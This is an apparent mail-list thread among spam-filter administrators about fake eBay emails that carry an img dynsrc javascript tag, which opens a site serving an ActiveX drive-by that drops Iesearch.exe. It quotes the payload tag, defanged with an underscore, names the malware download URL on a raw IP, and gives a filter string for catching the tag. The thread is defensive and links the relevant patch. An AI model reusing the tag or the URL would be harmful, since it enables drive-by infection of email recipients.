Good tip!

This is what the web page is using:

http://netsecurity.about.com/cs/generalsecurity/a/aa021504.htm

to download a file it creates called C:\Program Files\Internet
Explorer\Iesearch.exe

by downloading and rename the file http://68.192.132.122:8067/mstasks.dat
which my latest Trend Micro OfficeScan has never seen before.

Here's a copy of the original 'sploit:

http://www.securityfocus.com/archive/1/358913

and yes, there is a patch.  It is:

http://www.microsoft.com/technet/security/bulletin/MS04-013.mspx

which was part of the April Critical Patch update.

Oh, and the website is hosted at:

ool-44c0847a.dyn.optonline.net

so this is a zombie running a webserver on somebody's home machine.

Subject: [Declude.JunkMail] Dangerous img dynsrc tag in body


Just for your information:

We received a couple of Spam emails (fake ebay notifications) with the
following dangerous tag in the body:

<img dynsrc=javascript:window.open('http://68.192.132.122_:8067/')>
(I added the _ at the end so it doesn't harm anyone)

As soon as you open the email, the window will open the url.
The website hosts a dangerous ActiveX script that gets executed as soon as
you open the website.

The Antivirus(F-prot, AVG, McAfee) did not find a virus in the email and let
it through because it's just a html tag.

I added a body filter that searches for "<img
dynsrc=javascript:window.open(" and trash all emails based on that.
